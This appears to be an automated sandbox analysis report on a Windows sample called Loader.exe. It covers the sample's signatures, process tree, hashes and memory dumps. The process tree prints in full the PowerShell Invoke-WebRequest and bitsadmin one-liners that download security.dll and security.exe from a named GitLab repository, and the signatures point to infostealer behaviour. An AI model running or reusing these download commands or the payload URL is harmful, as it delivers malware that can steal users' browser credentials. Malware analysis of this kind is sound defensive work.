Analysis

  • user interaction
    yes
  • max time kernel
    99s
  • max time network
    67s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    22/09/2026, 19:43

General

  • Target
    Loader.exe
  • Size 157KB
  • Sample260922-yffagswt4r
  • SHA256 5caf2ec01fd840e3dc126668ea5def81d75cefd0ff06c5149f1c9bc348f95939
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Powershell Invoke Web Request.

  • Download via BitsAdmin 1 TTPs 1 IoCs
  • Downloads MZ/PE file 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Looks up external IP address via web service 1 TTPs 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Executes a command shell one-liner 1 TTPs 7 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Loader.exe
    "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4116
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c mode con: cols=100 lines=35
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:8
      • C:\Windows\system32\mode.com
        mode con: cols=100 lines=35
        3⤵
          PID:4124
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c cls
        2⤵
        • Executes a command shell one-liner
        PID:4372
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c cls
        2⤵
        • Executes a command shell one-liner
        PID:1860
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c cls
        2⤵
        • Executes a command shell one-liner
        PID:3432
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c powershell -Command "$ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri 'https://gitlab.com/yorukmehmet0972/teox/-/raw/main/security.dll?ref_type=heads' -OutFile 'C:\Users\Admin\AppData\Local\Temp\Temp53521562\security.dll' -UseBasicParsing" 2>nul
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3440
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "$ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri 'https://gitlab.com/yorukmehmet0972/teox/-/raw/main/security.dll?ref_type=heads' -OutFile 'C:\Users\Admin\AppData\Local\Temp\Temp53521562\security.dll' -UseBasicParsing"
          3⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Downloads MZ/PE file
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3188
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c powershell -Command "$ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri 'https://gitlab.com/yorukmehmet0972/teox/-/blob/main/security.exe?ref_type=heads' -OutFile 'C:\Users\Admin\AppData\Local\Temp\Temp53521562\security.exe' -UseBasicParsing" 2>nul
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:200
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "$ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri 'https://gitlab.com/yorukmehmet0972/teox/-/blob/main/security.exe?ref_type=heads' -OutFile 'C:\Users\Admin\AppData\Local\Temp\Temp53521562\security.exe' -UseBasicParsing"
          3⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:244
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c bitsadmin /transfer mydownload /download /priority high "https://gitlab.com/yorukmehmet0972/teox/-/blob/main/security.exe?ref_type=heads" "C:\Users\Admin\AppData\Local\Temp\Temp53521562\security.exe" 2>nul
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5056
        • C:\Windows\system32\bitsadmin.exe
          bitsadmin /transfer mydownload /download /priority high "https://gitlab.com/yorukmehmet0972/teox/-/blob/main/security.exe?ref_type=heads" "C:\Users\Admin\AppData\Local\Temp\Temp53521562\security.exe"
          3⤵
          • Download via BitsAdmin
          PID:1240

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 dea234ed69b56a5ac20026ced884f4bb792af688a6a339fefb58f73068aaa846
          • MD5 SHA1 SHA512 TLSH

          security.dll

          • Path C:\Users\Admin\AppData\Local\Temp\Temp53521562\security.dll
          • Size 5.4MB
          • SHA256 1ed5ddb460b5cbcba6262ec41f1cd04c9bf5cfff69c3528a605a79aedcaf23fa
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/3188-10-0x00007FFE6A8D0000-0x00007FFE6B274000-memory.dmp

          memory/3188-11-0x00007FFE6A8D0000-0x00007FFE6B274000-memory.dmp

          memory/3188-6-0x00007FFE6A8D0000-0x00007FFE6B274000-memory.dmp

          memory/3188-7-0x00007FFE6A8D0000-0x00007FFE6B274000-memory.dmp

          memory/3188-8-0x00007FFE6A8D0000-0x00007FFE6B274000-memory.dmp

          memory/3188-9-0x00007FFE6A8D0000-0x00007FFE6B274000-memory.dmp

          memory/3188-0-0x00007FFE6AA5F000-0x00007FFE6AA60000-memory.dmp

          memory/3188-5-0x0000020BB2950000-0x0000020BB2972000-memory.dmp

          memory/3188-12-0x00007FFE6A8D0000-0x00007FFE6B274000-memory.dmp

          memory/3188-13-0x00007FFE6A8D0000-0x00007FFE6B274000-memory.dmp

          memory/3188-17-0x00007FFE6A8D0000-0x00007FFE6B274000-memory.dmp

          memory/3188-16-0x00007FFE6A8D0000-0x00007FFE6B274000-memory.dmp

          memory/3188-4-0x00007FFE6A8D0000-0x00007FFE6B274000-memory.dmp

          memory/3188-1-0x00007FFE6A8D0000-0x00007FFE6B274000-memory.dmp